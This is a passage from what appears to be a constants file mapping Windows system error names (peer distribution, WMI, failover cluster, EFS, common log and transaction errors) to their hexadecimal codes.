PEERDIST_ERROR_ALREADY_INITIALIZED = 0x00000fd7
PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS = 0x00000fd8
PEERDIST_ERROR_INVALIDATED = 0x00000fd9
PEERDIST_ERROR_ALREADY_EXISTS = 0x00000fda
PEERDIST_ERROR_OPERATION_NOTFOUND = 0x00000fdb
PEERDIST_ERROR_ALREADY_COMPLETED = 0x00000fdc
PEERDIST_ERROR_OUT_OF_BOUNDS = 0x00000fdd
PEERDIST_ERROR_VERSION_UNSUPPORTED = 0x00000fde
PEERDIST_ERROR_INVALID_CONFIGURATION = 0x00000fdf
PEERDIST_ERROR_NOT_LICENSED = 0x00000fe0
PEERDIST_ERROR_SERVICE_UNAVAILABLE = 0x00000fe1
PEERDIST_ERROR_TRUST_FAILURE = 0x00000fe2
ERROR_DHCP_ADDRESS_CONFLICT = 0x00001004
ERROR_WMI_GUID_NOT_FOUND = 0x00001068
ERROR_WMI_INSTANCE_NOT_FOUND = 0x00001069
ERROR_WMI_ITEMID_NOT_FOUND = 0x0000106a
ERROR_WMI_TRY_AGAIN = 0x0000106b
ERROR_WMI_DP_NOT_FOUND = 0x0000106c
ERROR_WMI_UNRESOLVED_INSTANCE_REF = 0x0000106d
ERROR_WMI_ALREADY_ENABLED = 0x0000106e
ERROR_WMI_GUID_DISCONNECTED = 0x0000106f
ERROR_WMI_SERVER_UNAVAILABLE = 0x00001070
ERROR_WMI_DP_FAILED = 0x00001071
ERROR_WMI_INVALID_MOF = 0x00001072
ERROR_WMI_INVALID_REGINFO = 0x00001073
ERROR_WMI_ALREADY_DISABLED = 0x00001074
ERROR_WMI_READ_ONLY = 0x00001075
ERROR_WMI_SET_FAILURE = 0x00001076
ERROR_NOT_APPCONTAINER = 0x0000109a
ERROR_APPCONTAINER_REQUIRED = 0x0000109b
ERROR_NOT_SUPPORTED_IN_APPCONTAINER = 0x0000109c
ERROR_INVALID_PACKAGE_SID_LENGTH = 0x0000109d
ERROR_INVALID_MEDIA = 0x000010cc
ERROR_INVALID_LIBRARY = 0x000010cd
ERROR_INVALID_MEDIA_POOL = 0x000010ce
ERROR_DRIVE_MEDIA_MISMATCH = 0x000010cf
ERROR_MEDIA_OFFLINE = 0x000010d0
ERROR_LIBRARY_OFFLINE = 0x000010d1
ERROR_EMPTY = 0x000010d2
ERROR_NOT_EMPTY = 0x000010d3
ERROR_MEDIA_UNAVAILABLE = 0x000010d4
ERROR_RESOURCE_DISABLED = 0x000010d5
ERROR_INVALID_CLEANER = 0x000010d6
ERROR_UNABLE_TO_CLEAN = 0x000010d7
ERROR_OBJECT_NOT_FOUND = 0x000010d8
ERROR_DATABASE_FAILURE = 0x000010d9
ERROR_DATABASE_FULL = 0x000010da
ERROR_MEDIA_INCOMPATIBLE = 0x000010db
ERROR_RESOURCE_NOT_PRESENT = 0x000010dc
ERROR_INVALID_OPERATION = 0x000010dd
ERROR_MEDIA_NOT_AVAILABLE = 0x000010de
ERROR_DEVICE_NOT_AVAILABLE = 0x000010df
ERROR_REQUEST_REFUSED = 0x000010e0
ERROR_INVALID_DRIVE_OBJECT = 0x000010e1
ERROR_LIBRARY_FULL = 0x000010e2
ERROR_MEDIUM_NOT_ACCESSIBLE = 0x000010e3
ERROR_UNABLE_TO_LOAD_MEDIUM = 0x000010e4
ERROR_UNABLE_TO_INVENTORY_DRIVE = 0x000010e5
ERROR_UNABLE_TO_INVENTORY_SLOT = 0x000010e6
ERROR_UNABLE_TO_INVENTORY_TRANSPORT = 0x000010e7
ERROR_TRANSPORT_FULL = 0x000010e8
ERROR_CONTROLLING_IEPORT = 0x000010e9
ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 0x000010ea
ERROR_CLEANER_SLOT_SET = 0x000010eb
ERROR_CLEANER_SLOT_NOT_SET = 0x000010ec
ERROR_CLEANER_CARTRIDGE_SPENT = 0x000010ed
ERROR_UNEXPECTED_OMID = 0x000010ee
ERROR_CANT_DELETE_LAST_ITEM = 0x000010ef
ERROR_MESSAGE_EXCEEDS_MAX_SIZE = 0x000010f0
ERROR_VOLUME_CONTAINS_SYS_FILES = 0x000010f1
ERROR_INDIGENOUS_TYPE = 0x000010f2
ERROR_NO_SUPPORTING_DRIVES = 0x000010f3
ERROR_CLEANER_CARTRIDGE_INSTALLED = 0x000010f4
ERROR_IEPORT_FULL = 0x000010f5
ERROR_FILE_OFFLINE = 0x000010fe
ERROR_REMOTE_STORAGE_NOT_ACTIVE = 0x000010ff
ERROR_REMOTE_STORAGE_MEDIA_ERROR = 0x00001100
ERROR_NOT_A_REPARSE_POINT = 0x00001126
ERROR_REPARSE_ATTRIBUTE_CONFLICT = 0x00001127
ERROR_INVALID_REPARSE_DATA = 0x00001128
ERROR_REPARSE_TAG_INVALID = 0x00001129
ERROR_REPARSE_TAG_MISMATCH = 0x0000112a
ERROR_APP_DATA_NOT_FOUND = 0x00001130
ERROR_APP_DATA_EXPIRED = 0x00001131
ERROR_APP_DATA_CORRUPT = 0x00001132
ERROR_APP_DATA_LIMIT_EXCEEDED = 0x00001133
ERROR_APP_DATA_REBOOT_REQUIRED = 0x00001134
ERROR_SECUREBOOT_ROLLBACK_DETECTED = 0x00001144
ERROR_SECUREBOOT_POLICY_VIOLATION = 0x00001145
ERROR_SECUREBOOT_INVALID_POLICY = 0x00001146
ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND = 0x00001147
ERROR_SECUREBOOT_POLICY_NOT_SIGNED = 0x00001148
ERROR_SECUREBOOT_NOT_ENABLED = 0x00001149
ERROR_SECUREBOOT_FILE_REPLACED = 0x0000114a
ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED = 0x00001158
ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED = 0x00001159
ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED = 0x0000115a
ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED = 0x0000115b
ERROR_VOLUME_NOT_SIS_ENABLED = 0x00001194
ERROR_DEPENDENT_RESOURCE_EXISTS = 0x00001389
ERROR_DEPENDENCY_NOT_FOUND = 0x0000138a
ERROR_DEPENDENCY_ALREADY_EXISTS = 0x0000138b
ERROR_RESOURCE_NOT_ONLINE = 0x0000138c
ERROR_HOST_NODE_NOT_AVAILABLE = 0x0000138d
ERROR_RESOURCE_NOT_AVAILABLE = 0x0000138e
ERROR_RESOURCE_NOT_FOUND = 0x0000138f
ERROR_SHUTDOWN_CLUSTER = 0x00001390
ERROR_CANT_EVICT_ACTIVE_NODE = 0x00001391
ERROR_OBJECT_ALREADY_EXISTS = 0x00001392
ERROR_OBJECT_IN_LIST = 0x00001393
ERROR_GROUP_NOT_AVAILABLE = 0x00001394
ERROR_GROUP_NOT_FOUND = 0x00001395
ERROR_GROUP_NOT_ONLINE = 0x00001396
ERROR_HOST_NODE_NOT_RESOURCE_OWNER = 0x00001397
ERROR_HOST_NODE_NOT_GROUP_OWNER = 0x00001398
ERROR_RESMON_CREATE_FAILED = 0x00001399
ERROR_RESMON_ONLINE_FAILED = 0x0000139a
ERROR_RESOURCE_ONLINE = 0x0000139b
ERROR_QUORUM_RESOURCE = 0x0000139c
ERROR_NOT_QUORUM_CAPABLE = 0x0000139d
ERROR_CLUSTER_SHUTTING_DOWN = 0x0000139e
ERROR_INVALID_STATE = 0x0000139f
ERROR_RESOURCE_PROPERTIES_STORED = 0x000013a0
ERROR_NOT_QUORUM_CLASS = 0x000013a1
ERROR_CORE_RESOURCE = 0x000013a2
ERROR_QUORUM_RESOURCE_ONLINE_FAILED = 0x000013a3
ERROR_QUORUMLOG_OPEN_FAILED = 0x000013a4
ERROR_CLUSTERLOG_CORRUPT = 0x000013a5
ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 0x000013a6
ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 0x000013a7
ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 0x000013a8
ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 0x000013a9
ERROR_QUORUM_OWNER_ALIVE = 0x000013aa
ERROR_NETWORK_NOT_AVAILABLE = 0x000013ab
ERROR_NODE_NOT_AVAILABLE = 0x000013ac
ERROR_ALL_NODES_NOT_AVAILABLE = 0x000013ad
ERROR_RESOURCE_FAILED = 0x000013ae
ERROR_CLUSTER_INVALID_NODE = 0x000013af
ERROR_CLUSTER_NODE_EXISTS = 0x000013b0
ERROR_CLUSTER_JOIN_IN_PROGRESS = 0x000013b1
ERROR_CLUSTER_NODE_NOT_FOUND = 0x000013b2
ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 0x000013b3
ERROR_CLUSTER_NETWORK_EXISTS = 0x000013b4
ERROR_CLUSTER_NETWORK_NOT_FOUND = 0x000013b5
ERROR_CLUSTER_NETINTERFACE_EXISTS = 0x000013b6
ERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 0x000013b7
ERROR_CLUSTER_INVALID_REQUEST = 0x000013b8
ERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 0x000013b9
ERROR_CLUSTER_NODE_DOWN = 0x000013ba
ERROR_CLUSTER_NODE_UNREACHABLE = 0x000013bb
ERROR_CLUSTER_NODE_NOT_MEMBER = 0x000013bc
ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 0x000013bd
ERROR_CLUSTER_INVALID_NETWORK = 0x000013be
ERROR_CLUSTER_NODE_UP = 0x000013c0
ERROR_CLUSTER_IPADDR_IN_USE = 0x000013c1
ERROR_CLUSTER_NODE_NOT_PAUSED = 0x000013c2
ERROR_CLUSTER_NO_SECURITY_CONTEXT = 0x000013c3
ERROR_CLUSTER_NETWORK_NOT_INTERNAL = 0x000013c4
ERROR_CLUSTER_NODE_ALREADY_UP = 0x000013c5
ERROR_CLUSTER_NODE_ALREADY_DOWN = 0x000013c6
ERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 0x000013c7
ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 0x000013c8
ERROR_CLUSTER_NODE_ALREADY_MEMBER = 0x000013c9
ERROR_CLUSTER_LAST_INTERNAL_NETWORK = 0x000013ca
ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 0x000013cb
ERROR_INVALID_OPERATION_ON_QUORUM = 0x000013cc
ERROR_DEPENDENCY_NOT_ALLOWED = 0x000013cd
ERROR_CLUSTER_NODE_PAUSED = 0x000013ce
ERROR_NODE_CANT_HOST_RESOURCE = 0x000013cf
ERROR_CLUSTER_NODE_NOT_READY = 0x000013d0
ERROR_CLUSTER_NODE_SHUTTING_DOWN = 0x000013d1
ERROR_CLUSTER_JOIN_ABORTED = 0x000013d2
ERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 0x000013d3
ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 0x000013d4
ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 0x000013d5
ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 0x000013d6
ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 0x000013d7
ERROR_CLUSTER_RESNAME_NOT_FOUND = 0x000013d8
ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 0x000013d9
ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 0x000013da
ERROR_CLUSTER_DATABASE_SEQMISMATCH = 0x000013db
ERROR_RESMON_INVALID_STATE = 0x000013dc
ERROR_CLUSTER_GUM_NOT_LOCKER = 0x000013dd
ERROR_QUORUM_DISK_NOT_FOUND = 0x000013de
ERROR_DATABASE_BACKUP_CORRUPT = 0x000013df
ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 0x000013e0
ERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 0x000013e1
ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 0x00001702
ERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 0x00001703
ERROR_CLUSTER_MEMBERSHIP_HALT = 0x00001704
ERROR_CLUSTER_INSTANCE_ID_MISMATCH = 0x00001705
ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 0x00001706
ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 0x00001707
ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 0x00001708
ERROR_CLUSTER_PARAMETER_MISMATCH = 0x00001709
ERROR_NODE_CANNOT_BE_CLUSTERED = 0x0000170a
ERROR_CLUSTER_WRONG_OS_VERSION = 0x0000170b
ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 0x0000170c
ERROR_CLUSCFG_ALREADY_COMMITTED = 0x0000170d
ERROR_CLUSCFG_ROLLBACK_FAILED = 0x0000170e
ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 0x0000170f
ERROR_CLUSTER_OLD_VERSION = 0x00001710
ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 0x00001711
ERROR_CLUSTER_NO_NET_ADAPTERS = 0x00001712
ERROR_CLUSTER_POISONED = 0x00001713
ERROR_CLUSTER_GROUP_MOVING = 0x00001714
ERROR_CLUSTER_RESOURCE_TYPE_BUSY = 0x00001715
ERROR_RESOURCE_CALL_TIMED_OUT = 0x00001716
ERROR_INVALID_CLUSTER_IPV6_ADDRESS = 0x00001717
ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION = 0x00001718
ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS = 0x00001719
ERROR_CLUSTER_PARTIAL_SEND = 0x0000171a
ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION = 0x0000171b
ERROR_CLUSTER_INVALID_STRING_TERMINATION = 0x0000171c
ERROR_CLUSTER_INVALID_STRING_FORMAT = 0x0000171d
ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS = 0x0000171e
ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS = 0x0000171f
ERROR_CLUSTER_NULL_DATA = 0x00001720
ERROR_CLUSTER_PARTIAL_READ = 0x00001721
ERROR_CLUSTER_PARTIAL_WRITE = 0x00001722
ERROR_CLUSTER_CANT_DESERIALIZE_DATA = 0x00001723
ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT = 0x00001724
ERROR_CLUSTER_NO_QUORUM = 0x00001725
ERROR_CLUSTER_INVALID_IPV6_NETWORK = 0x00001726
ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK = 0x00001727
ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP = 0x00001728
ERROR_DEPENDENCY_TREE_TOO_COMPLEX = 0x00001729
ERROR_EXCEPTION_IN_RESOURCE_CALL = 0x0000172a
ERROR_CLUSTER_RHS_FAILED_INITIALIZATION = 0x0000172b
ERROR_CLUSTER_NOT_INSTALLED = 0x0000172c
ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE = 0x0000172d
ERROR_CLUSTER_MAX_NODES_IN_CLUSTER = 0x0000172e
ERROR_CLUSTER_TOO_MANY_NODES = 0x0000172f
ERROR_CLUSTER_OBJECT_ALREADY_USED = 0x00001730
ERROR_NONCORE_GROUPS_FOUND = 0x00001731
ERROR_FILE_SHARE_RESOURCE_CONFLICT = 0x00001732
ERROR_CLUSTER_EVICT_INVALID_REQUEST = 0x00001733
ERROR_CLUSTER_SINGLETON_RESOURCE = 0x00001734
ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE = 0x00001735
ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED = 0x00001736
ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR = 0x00001737
ERROR_CLUSTER_GROUP_BUSY = 0x00001738
ERROR_CLUSTER_NOT_SHARED_VOLUME = 0x00001739
ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR = 0x0000173a
ERROR_CLUSTER_SHARED_VOLUMES_IN_USE = 0x0000173b
ERROR_CLUSTER_USE_SHARED_VOLUMES_API = 0x0000173c
ERROR_CLUSTER_BACKUP_IN_PROGRESS = 0x0000173d
ERROR_NON_CSV_PATH = 0x0000173e
ERROR_CSV_VOLUME_NOT_LOCAL = 0x0000173f
ERROR_CLUSTER_WATCHDOG_TERMINATING = 0x00001740
ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES = 0x00001741
ERROR_CLUSTER_INVALID_NODE_WEIGHT = 0x00001742
ERROR_CLUSTER_RESOURCE_VETOED_CALL = 0x00001743
ERROR_RESMON_SYSTEM_RESOURCES_LACKING = 0x00001744
ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION = 0x00001745
ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE = 0x00001746
ERROR_CLUSTER_GROUP_QUEUED = 0x00001747
ERROR_CLUSTER_RESOURCE_LOCKED_STATUS = 0x00001748
ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED = 0x00001749
ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS = 0x0000174a
ERROR_CLUSTER_DISK_NOT_CONNECTED = 0x0000174b
ERROR_DISK_NOT_CSV_CAPABLE = 0x0000174c
ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE = 0x0000174d
ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED = 0x0000174e
ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED = 0x0000174f
ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES = 0x00001750
ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES = 0x00001751
ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE = 0x00001752
ERROR_CLUSTER_AFFINITY_CONFLICT = 0x00001753
ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE = 0x00001754
ERROR_ENCRYPTION_FAILED = 0x00001770
ERROR_DECRYPTION_FAILED = 0x00001771
ERROR_FILE_ENCRYPTED = 0x00001772
ERROR_NO_RECOVERY_POLICY = 0x00001773
ERROR_NO_EFS = 0x00001774
ERROR_WRONG_EFS = 0x00001775
ERROR_NO_USER_KEYS = 0x00001776
ERROR_FILE_NOT_ENCRYPTED = 0x00001777
ERROR_NOT_EXPORT_FORMAT = 0x00001778
ERROR_FILE_READ_ONLY = 0x00001779
ERROR_DIR_EFS_DISALLOWED = 0x0000177a
ERROR_EFS_SERVER_NOT_TRUSTED = 0x0000177b
ERROR_BAD_RECOVERY_POLICY = 0x0000177c
ERROR_EFS_ALG_BLOB_TOO_BIG = 0x0000177d
ERROR_VOLUME_NOT_SUPPORT_EFS = 0x0000177e
ERROR_EFS_DISABLED = 0x0000177f
ERROR_EFS_VERSION_NOT_SUPPORT = 0x00001780
ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 0x00001781
ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER = 0x00001782
ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 0x00001783
ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 0x00001784
ERROR_CS_ENCRYPTION_FILE_NOT_CSE = 0x00001785
ERROR_ENCRYPTION_POLICY_DENIES_OPERATION = 0x00001786
ERROR_NO_BROWSER_SERVERS_FOUND = 0x000017e6
SCHED_E_SERVICE_NOT_LOCALSYSTEM = 0x00001838
ERROR_LOG_SECTOR_INVALID = 0x000019c8
ERROR_LOG_SECTOR_PARITY_INVALID = 0x000019c9
ERROR_LOG_SECTOR_REMAPPED = 0x000019ca
ERROR_LOG_BLOCK_INCOMPLETE = 0x000019cb
ERROR_LOG_INVALID_RANGE = 0x000019cc
ERROR_LOG_BLOCKS_EXHAUSTED = 0x000019cd
ERROR_LOG_READ_CONTEXT_INVALID = 0x000019ce
ERROR_LOG_RESTART_INVALID = 0x000019cf
ERROR_LOG_BLOCK_VERSION = 0x000019d0
ERROR_LOG_BLOCK_INVALID = 0x000019d1
ERROR_LOG_READ_MODE_INVALID = 0x000019d2
ERROR_LOG_NO_RESTART = 0x000019d3
ERROR_LOG_METADATA_CORRUPT = 0x000019d4
ERROR_LOG_METADATA_INVALID = 0x000019d5
ERROR_LOG_METADATA_INCONSISTENT = 0x000019d6
ERROR_LOG_RESERVATION_INVALID = 0x000019d7
ERROR_LOG_CANT_DELETE = 0x000019d8
ERROR_LOG_CONTAINER_LIMIT_EXCEEDED = 0x000019d9
ERROR_LOG_START_OF_LOG = 0x000019da
ERROR_LOG_POLICY_ALREADY_INSTALLED = 0x000019db
ERROR_LOG_POLICY_NOT_INSTALLED = 0x000019dc
ERROR_LOG_POLICY_INVALID = 0x000019dd
ERROR_LOG_POLICY_CONFLICT = 0x000019de
ERROR_LOG_PINNED_ARCHIVE_TAIL = 0x000019df
ERROR_LOG_RECORD_NONEXISTENT = 0x000019e0
ERROR_LOG_RECORDS_RESERVED_INVALID = 0x000019e1
ERROR_LOG_SPACE_RESERVED_INVALID = 0x000019e2
ERROR_LOG_TAIL_INVALID = 0x000019e3
ERROR_LOG_FULL = 0x000019e4
ERROR_COULD_NOT_RESIZE_LOG = 0x000019e5
ERROR_LOG_MULTIPLEXED = 0x000019e6
ERROR_LOG_DEDICATED = 0x000019e7
ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS = 0x000019e8
ERROR_LOG_ARCHIVE_IN_PROGRESS = 0x000019e9
ERROR_LOG_EPHEMERAL = 0x000019ea
ERROR_LOG_NOT_ENOUGH_CONTAINERS = 0x000019eb
ERROR_LOG_CLIENT_ALREADY_REGISTERED = 0x000019ec
ERROR_LOG_CLIENT_NOT_REGISTERED = 0x000019ed
ERROR_LOG_FULL_HANDLER_IN_PROGRESS = 0x000019ee
ERROR_LOG_CONTAINER_READ_FAILED = 0x000019ef
ERROR_LOG_CONTAINER_WRITE_FAILED = 0x000019f0
ERROR_LOG_CONTAINER_OPEN_FAILED = 0x000019f1
ERROR_LOG_CONTAINER_STATE_INVALID = 0x000019f2
ERROR_LOG_STATE_INVALID = 0x000019f3
ERROR_LOG_PINNED = 0x000019f4
ERROR_LOG_METADATA_FLUSH_FAILED = 0x000019f5
ERROR_LOG_INCONSISTENT_SECURITY = 0x000019f6
ERROR_LOG_APPENDED_FLUSH_FAILED = 0x000019f7
ERROR_LOG_PINNED_RESERVATION = 0x000019f8
ERROR_INVALID_TRANSACTION = 0x00001a2c
ERROR_TRANSACTION_NOT_ACTIVE = 0x00001a2d
ERROR_TRANSACTION_REQUEST_NOT_VALID = 0x00001a2e
ERROR_TRANSACTION_NOT_REQUESTED = 0x00001a2f
ERROR_TRANSACTION_ALREADY_ABORTED = 0x00001a30
ERROR_TRANSACTION_ALREADY_COMMITTED = 0x00001a31
ERROR_TM_INITIALIZATION_FAILED = 0x00001a32
ERROR_RESOURCEMANAGER_READ_ONLY = 0x00001a33
ERROR_TRANSACTION_NOT_JOINED = 0x00001a34
ERROR_TRANSACTION_SUPERIOR_EXISTS = 0x00001a35
ERROR_CRM_PROTOCOL_ALREADY_EXISTS = 0x00001a36
ERROR_TRANSACTION_PROPAGATION_FAILED = 0x00001a37
ERROR_CRM_PROTOCOL_NOT_FOUND = 0x00001a38
ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER = 0x00001a39
ERROR_CURRENT_TRANSACTION_NOT_VALID = 0x00001a3a
ERROR_TRANSACTION_NOT_FOUND = 0x00001a3b
ERROR_RESOURCEMANAGER_NOT_FOUND = 0x00001a3c
ERROR_ENLISTMENT_NOT_FOUND = 0x00001a3d
ERROR_TRANSACTIONMANAGER_NOT_FOUND = 0x00001a3e
ERROR_TRANSACTIONMANAGER_NOT_ONLINE = 0x00001a3f
ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 0x00001a40
ERROR_TRANSACTION_NOT_ROOT = 0x00001a41
ERROR_TRANSACTION_OBJECT_EXPIRED = 0x00001a42
ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED = 0x00001a43
ERROR_TRANSACTION_RECORD_TOO_LONG = 0x00001a44
ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED = 0x00001a45
ERROR_TRANSACTION_INTEGRITY_VIOLATED = 0x00001a46
ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH = 0x00001a47
ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT = 0x00001a48
ERROR_TRANSACTION_MUST_WRITETHROUGH = 0x00001a49
ERROR_TRANSACTION_NO_SUPERIOR = 0x00001a4a
ERROR_HEURISTIC_DAMAGE_POSSIBLE = 0x00001a4b
ERROR_TRANSACTIONAL_CONFLICT = 0x00001a90
ERROR_RM_NOT_ACTIVE = 0x00001a91
ERROR_RM_METADATA_CORRUPT = 0x00001a92
ERROR_DIRECTORY_NOT_RM = 0x00001a93
ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 0x00001a95
ERROR_LOG_RESIZE_INVALID_SIZE = 0x00001a96
ERROR_OBJECT_NO_LONGER_EXISTS = 0x00001a97
ERROR_STREAM_MINIVERSION_NOT_FOUND = 0x00001a98
ERROR_STREAM_MINIVERSION_NOT_VALID = 0x00001a99
ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 0x00001a9a
ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 0x00001a9b
ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS = 0x00001a9c
ERROR_REMOTE_FILE_VERSION_MISMATCH = 0x00001a9e
ERROR_HANDLE_NO_LONGER_VALID = 0x00001a9f
ERROR_NO_TXF_METADATA = 0x00001aa0
ERROR_LOG_CORRUPTION_DETECTED = 0x00001aa1
ERROR_CANT_RECOVER_WITH_HANDLE_OPEN = 0x00001aa2
ERROR_RM_DISCONNECTED = 0x00001aa3
ERROR_ENLISTMENT_NOT_SUPERIOR = 0x00001aa4
ERROR_RECOVERY_NOT_NEEDED = 0x00001aa5
ERROR_RM_ALREADY_STARTED = 0x00001aa6
ERROR_FILE_IDENTITY_NOT_PERSISTENT = 0x00001aa7
ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 0x00001aa8
ERROR_CANT_CROSS_RM_BOUNDARY = 0x00001aa9
ERROR_TXF_DIR_NOT_EMPTY = 0x00001aaa
ERROR_INDOUBT_TRANSACTIONS_EXIST = 0x00001aab
ERROR_TM_VOLATILE = 0x00001aac
ERROR_ROLLBACK_TIMER_EXPIRED = 0x00001aad
ERROR_TXF_ATTRIBUTE_CORRUPT = 0x00001aae
ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION = 0x00001aaf
ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED = 0x00001ab0
ERROR_LOG_GROWTH_FAILED = 0x00001ab1
ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 0x00001ab2
ERROR_TXF_METADATA_ALREADY_PRESENT = 0x00001ab3
ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 0x00001ab4
ERROR_TRANSACTION_REQUIRED_PROMOTION = 0x00001ab5
ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION = 0x00001ab6
ERROR_TRANSACTIONS_NOT_FROZEN = 0x00001ab7
ERROR_TRANSACTION_FREEZE_IN_PROGRESS = 0x00001ab8
ERROR_NOT_SNAPSHOT_VOLUME = 0x00001ab9
ERROR_NO_SAVEPOINT_WITH_OPEN_FILES = 0x00001aba
ERROR_DATA_LOST_REPAIR = 0x00001abb
ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION = 0x00001abc
ERROR_TM_IDENTITY_MISMATCH = 0x00001abd
ERROR_FLOATED_SECTION = 0x00001abe
ERROR_CANNOT_ACCEPT_TRANSACTED_WORK = 0x00001abf
ERROR_CANNOT_ABORT_TRANSACTIONS = 0x00001ac0
ERROR_BAD_CLUSTERS = 0x00001ac1
ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 0x00001ac2
ERROR_VOLUME_DIRTY = 0x00001ac3
ERROR_NO_LINK_TRACKING_IN_TRANSACTION = 0x00001ac4
ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 0x00001ac5
ERROR_EXPIRED_HANDLE = 0x00001ac6
ERROR_TRANSACTION_NOT_ENLISTED = 0x00001ac7
ERROR_CTX_WINSTATION_NAME_INVALID = 0x00001b59
ERROR_CTX_INVALID_PD = 0x00001b5a
ERROR_CTX_PD_NOT_FOUND = 0x00001b5b
ERROR_CTX_WD_NOT_FOUND = 0x00001b5c
ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 0x00001b5d
ERROR_CTX_SERVICE_NAME_COLLISION = 0x00001b5e
ERROR_CTX_CLOSE_PENDING = 0x00001b5f
ERROR_CTX_NO_OUTBUF = 0x00001b60
ERROR_CTX_MODEM_INF_NOT_FOUND = 0x00001b61
ERROR_CTX_INVALID_MODEMNAME = 0x00001b62
ERROR_CTX_MODEM_RESPONSE_ERROR = 0x00001b63
ERROR_CTX_MODEM_RESPONSE_TIMEOUT = 0x00001b64
ERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 0x00001b65
ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 0x00001b66
ERROR_CTX_MODEM_RESPONSE_BUSY = 0x00001b67
ERROR_CTX_MODEM_RESPONSE_VOICE = 0x00001b68
ERROR_CTX_TD_ERROR = 0x00001b69
ERROR_CTX_WINSTATION_NOT_FOUND = 0x00001b6e
ERROR_CTX_WINSTATION_ALREADY_EXISTS = 0x00001b6f
ERROR_CTX_WINSTATION_BUSY = 0x00001b70
